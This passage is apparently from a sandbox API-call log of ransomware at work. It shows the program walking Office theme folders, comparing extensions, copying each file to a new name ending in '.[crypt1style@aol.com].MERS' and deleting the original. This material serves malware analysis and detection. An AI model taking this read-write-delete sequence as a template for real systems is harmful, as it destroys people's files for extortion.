(lpString1=".doc", lpString2=".GIF") returned -1 [0048.655] lstrlenW (lpString=".docx") returned 5 [0048.655] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.655] lstrlenW (lpString=".pdf") returned 4 [0048.655] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.655] lstrlenW (lpString=".xls") returned 4 [0048.655] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.655] lstrlenW (lpString=".xlsx") returned 5 [0048.655] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.655] lstrlenW (lpString=".ppt") returned 4 [0048.655] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.655] lstrlenW (lpString=".zip") returned 4 [0048.655] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.655] lstrlenW (lpString=".rar") returned 4 [0048.655] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.655] lstrlenW (lpString=".bz2") returned 4 [0048.655] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.655] lstrlenW (lpString=".7z") returned 3 [0048.655] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.655] lstrlenW (lpString=".dbf") returned 4 [0048.655] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.655] lstrlenW (lpString=".1cd") returned 4 [0048.655] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.655] lstrlenW (lpString=".jpg") returned 4 [0048.655] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.656] lstrlenW (lpString=".doc") returned 4 [0048.656] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.656] lstrlenW (lpString=".docx") returned 5 [0048.656] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.656] lstrlenW (lpString=".pdf") returned 4 [0048.656] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.656] lstrlenW (lpString=".xls") returned 4 [0048.656] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.656] lstrlenW (lpString=".xlsx") returned 5 [0048.656] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.656] lstrlenW (lpString=".ppt") returned 4 [0048.656] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.656] lstrlenW (lpString=".zip") returned 4 [0048.656] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.656] lstrlenW (lpString=".rar") returned 4 [0048.656] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.656] lstrlenW (lpString=".bz2") returned 4 [0048.656] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.656] lstrlenW (lpString=".7z") returned 3 [0048.656] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.656] lstrlenW (lpString=".dbf") returned 4 [0048.656] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.656] lstrlenW (lpString=".1cd") returned 4 [0048.656] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF") returned 76 [0048.656] lstrlenW (lpString=".jpg") returned 4 [0048.656] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.657] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0048.657] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.657] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=5179) returned 1 [0048.657] CloseHandle (hObject=0x1e4) returned 1 [0048.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 0x20 [0048.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.657] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.657] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.659] GetLastError () returned 0x0 [0048.659] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x143b, lpOverlapped=0x0) returned 1 [0048.679] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x1440, lpOverlapped=0x0) returned 1 [0048.679] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.679] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.680] SetEndOfFile (hFile=0x1a8) returned 1 [0048.680] CloseHandle (hObject=0x1a8) returned 1 [0048.680] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.680] SetEndOfFile (hFile=0x1e4) returned 1 [0048.681] CloseHandle (hObject=0x1e4) returned 1 [0048.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.681] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif")) returned 1 [0048.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.681] lstrlenW (lpString=".doc") returned 4 [0048.681] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.681] lstrlenW (lpString=".docx") returned 5 [0048.681] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.681] lstrlenW (lpString=".pdf") returned 4 [0048.681] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.681] lstrlenW (lpString=".xls") returned 4 [0048.681] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.681] lstrlenW (lpString=".xlsx") returned 5 [0048.681] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.681] lstrlenW (lpString=".ppt") returned 4 [0048.681] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.681] lstrlenW (lpString=".zip") returned 4 [0048.681] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.682] lstrlenW (lpString=".rar") returned 4 [0048.682] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.682] lstrlenW (lpString=".bz2") returned 4 [0048.682] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.682] lstrlenW (lpString=".7z") returned 3 [0048.682] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.682] lstrlenW (lpString=".dbf") returned 4 [0048.682] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.682] lstrlenW (lpString=".1cd") returned 4 [0048.682] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.682] lstrlenW (lpString=".jpg") returned 4 [0048.682] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.682] lstrlenW (lpString=".doc") returned 4 [0048.682] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.682] lstrlenW (lpString=".docx") returned 5 [0048.682] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.682] lstrlenW (lpString=".pdf") returned 4 [0048.682] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.682] lstrlenW (lpString=".xls") returned 4 [0048.682] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.682] lstrlenW (lpString=".xlsx") returned 5 [0048.682] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.682] lstrlenW (lpString=".ppt") returned 4 [0048.682] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.682] lstrlenW (lpString=".zip") returned 4 [0048.682] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.682] lstrlenW (lpString=".rar") returned 4 [0048.682] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.682] lstrlenW (lpString=".bz2") returned 4 [0048.682] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.683] lstrlenW (lpString=".7z") returned 3 [0048.683] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.683] lstrlenW (lpString=".dbf") returned 4 [0048.683] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.683] lstrlenW (lpString=".1cd") returned 4 [0048.683] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF") returned 74 [0048.683] lstrlenW (lpString=".jpg") returned 4 [0048.683] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.683] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0048.683] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.683] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=33559) returned 1 [0048.683] CloseHandle (hObject=0x1e4) returned 1 [0048.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 0x20 [0048.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.684] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.684] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.684] GetLastError () returned 0x0 [0048.684] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x8317, lpOverlapped=0x0) returned 1 [0048.825] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x8320, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x8320, lpOverlapped=0x0) returned 1 [0048.826] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.826] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.826] SetEndOfFile (hFile=0x1a8) returned 1 [0048.826] CloseHandle (hObject=0x1a8) returned 1 [0048.826] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.826] SetEndOfFile (hFile=0x1e4) returned 1 [0048.827] CloseHandle (hObject=0x1e4) returned 1 [0048.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.828] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png")) returned 1 [0048.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.828] lstrlenW (lpString=".doc") returned 4 [0048.828] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.828] lstrlenW (lpString=".docx") returned 5 [0048.828] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.828] lstrlenW (lpString=".pdf") returned 4 [0048.828] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.828] lstrlenW (lpString=".xls") returned 4 [0048.828] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.828] lstrlenW (lpString=".xlsx") returned 5 [0048.828] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.828] lstrlenW (lpString=".ppt") returned 4 [0048.828] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.828] lstrlenW (lpString=".zip") returned 4 [0048.828] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.828] lstrlenW (lpString=".rar") returned 4 [0048.828] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.829] lstrlenW (lpString=".bz2") returned 4 [0048.829] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.829] lstrlenW (lpString=".7z") returned 3 [0048.829] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.829] lstrlenW (lpString=".dbf") returned 4 [0048.829] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.829] lstrlenW (lpString=".1cd") returned 4 [0048.829] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.829] lstrlenW (lpString=".jpg") returned 4 [0048.829] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.829] lstrlenW (lpString=".doc") returned 4 [0048.829] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.829] lstrlenW (lpString=".docx") returned 5 [0048.829] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.829] lstrlenW (lpString=".pdf") returned 4 [0048.829] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.829] lstrlenW (lpString=".xls") returned 4 [0048.829] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.829] lstrlenW (lpString=".xlsx") returned 5 [0048.829] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.829] lstrlenW (lpString=".ppt") returned 4 [0048.829] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.829] lstrlenW (lpString=".zip") returned 4 [0048.829] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.829] lstrlenW (lpString=".rar") returned 4 [0048.829] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.829] lstrlenW (lpString=".bz2") returned 4 [0048.829] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.829] lstrlenW (lpString=".7z") returned 3 [0048.830] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.830] lstrlenW (lpString=".dbf") returned 4 [0048.830] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.830] lstrlenW (lpString=".1cd") returned 4 [0048.830] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75 [0048.830] lstrlenW (lpString=".jpg") returned 4 [0048.830] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.830] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0048.830] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.833] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=44850) returned 1 [0048.833] CloseHandle (hObject=0x1e4) returned 1 [0048.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0048.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0048.833] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.833] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0048.834] GetLastError () returned 0x0 [0048.834] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0xaf32, lpOverlapped=0x0) returned 1 [0048.854] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xaf40, lpOverlapped=0x0) returned 1 [0048.855] ReadFile (in: hFile=0x1e4, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.855] WriteFile (in: hFile=0x1a8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.856] SetEndOfFile (hFile=0x1a8) returned 1 [0048.856] CloseHandle (hObject=0x1a8) returned 1 [0048.856] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.856] SetEndOfFile (hFile=0x1e4) returned 1 [0048.857] CloseHandle (hObject=0x1e4) returned 1 [0048.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0048.857] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1 [0048.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0048.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 